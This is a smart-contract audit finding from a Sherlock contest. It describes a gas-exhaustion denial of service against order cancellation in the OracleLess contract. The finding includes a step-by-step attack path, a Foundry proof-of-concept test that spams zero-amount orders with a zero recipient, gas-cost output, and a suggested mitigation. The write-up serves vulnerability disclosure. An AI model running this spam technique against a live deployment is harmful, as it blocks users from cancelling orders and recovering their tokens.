Melted Sky Tiger

Medium

# Cancel order can be dos in OracleLess

### Summary

In [oracleLess:_cancelOrder](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L151), users may not cancel their orders because of the out of gas.


### Root Cause

In oracleLess, users can cancel their orders. In the cancelOrder, we will loop the `pendingOrderIds` to find the expected order, and then cancel it.

The problem is that there is not one `maxPendingOrders` limitation in `pendingOrderIds`. This may cause cancel order reverted because of out of gas.

For example:
1. Alice creates one order, `tokenIn: WETH, amountIn = 0, tokenOut: USDT, minAmountOut = 1000e18`. Alice can create one order without any deposited tokens.
2. Alice modifies this order's recipient to address(0). 
3. Alice repeats step1 & step2 thousand of times. This will expand the `pendingOrderIds` array's length.
4. Bob creates one order.
5. When Bob wants to cancel his order, his cancel will be reverted because of out of gas.
6. When admin finds out this case, admin will try to cancel these malicious orders.  But this admin cancel will be reverted because the `to` address is address(0).

```solidity
    function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(
                    i,
                    pendingOrderIds
                );
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);
                return true;
            }
        }
        return false;
    }
```
```solidity
USDT in OP -->
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
```

### Internal pre-conditions

N/A

### External pre-conditions

N/A

### Attack Path

1. Alice creates one order, `tokenIn: WETH, amountIn = 0, tokenOut: USDT, minAmountOut = 1000e18`. Alice can create one order without any deposited tokens.
2. Alice modifies this order's recipient to address(0). 
3. Alice repeats step1 & step2 thousand of times. This will expand the `pendingOrderIds` array's length.
4. Bob creates one order.
5. When Bob wants to cancel his order, his cancel will be reverted because of out of gas.
6. When admin finds out this case, admin will try to cancel these malicious orders.  But this admin cancel will be reverted because the `to` address is address(0).

### Impact

Cancel order will be dos. Users cannot cancel their orders.

### PoC


```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Counter} from "../src/Counter.sol";
import {AutomationMaster} from "../src/automatedTrigger/AutomationMaster.sol";
import {OracleLess} from "../src/automatedTrigger/OracleLess.sol";
import {IPermit2} from "../src/interfaces/uniswapV3/IPermit2.sol";
import {MockERC20} from "./MockERC20.sol";
import "../src/interfaces/openzeppelin/IERC20.sol";
contract CounterTest is Test {
    AutomationMaster public master;
    OracleLess public oracleLess;
    Counter public counter;
    IPermit2 public permit2;
    address alice = vm.addr(1);
    address bob = vm.addr(2);
    IERC20 token1;
    IERC20 token2;
    function setUp() public {
        // Deploy OracleLess, if we want to deploy OracleLess, we need to deploy one MASTER.
        permit2 = IPermit2(address(0));
        master = new AutomationMaster();
        oracleLess = new OracleLess(master, permit2);
        token1 = IERC20(address(new MockERC20("ETH", "ETH", 18)));
        token2 = IERC20(address(new MockERC20("DAI", "DAI", 8)));
        MockERC20(address(token1)).mint(bob, 1e18);
    }

    function testPocCancelDos() public {
        uint96 orderId;
        vm.startPrank(alice);
        uint256 gasBefore = gasleft();
        for (uint i = 0; i < 21000; i++) {
            orderId = oracleLess.createOrder(token1, token2, 0, 1000e8, alice, 0, false, "0x");
            oracleLess.modifyOrder(orderId, token2, 0, 1000e8, address(0), false, false, "0x");
        }
        uint256 gasAfter = gasleft();
        console.log("Attacker's gas consume : ", gasBefore - gasAfter);
        vm.stopPrank();
        vm.startPrank(bob);
        MockERC20(address(token1)).approve(address(oracleLess), 1e18);
        orderId = oracleLess.createOrder(token1, token2, 1e18, 1000e8, bob, 0, false, "0x");
        gasBefore = gasleft();
        oracleLess.cancelOrder(orderId);
        gasAfter = gasleft();
        console.log("Cancel Gas consumed: ", gasBefore - gasAfter);
        vm.stopPrank();
    }
}

```

In the above test case, the output is as below:
```bash
Logs:
  Attacker's gas consume :  999125025
  Cancel Gas consumed:  30643047
```
Attacker's cost is 999125025. Take gas price as 20gwei, the attack cost is about 0.01998 ETH.
Note: In the actual attack, this can not be executed in one transaction because of the block gas limit. But attackers can trigger this similar attack in sequences blocks.
After that, when users want to cancel their valid orders, their transaction will be reverted. Because the gas consumed is 30643047, is larger than `30,000,000`. In Op chain, one block's gas limit is 30,000,000.

### Mitigation

Add minimum order amount like Bracket, this will increase the attack's cost.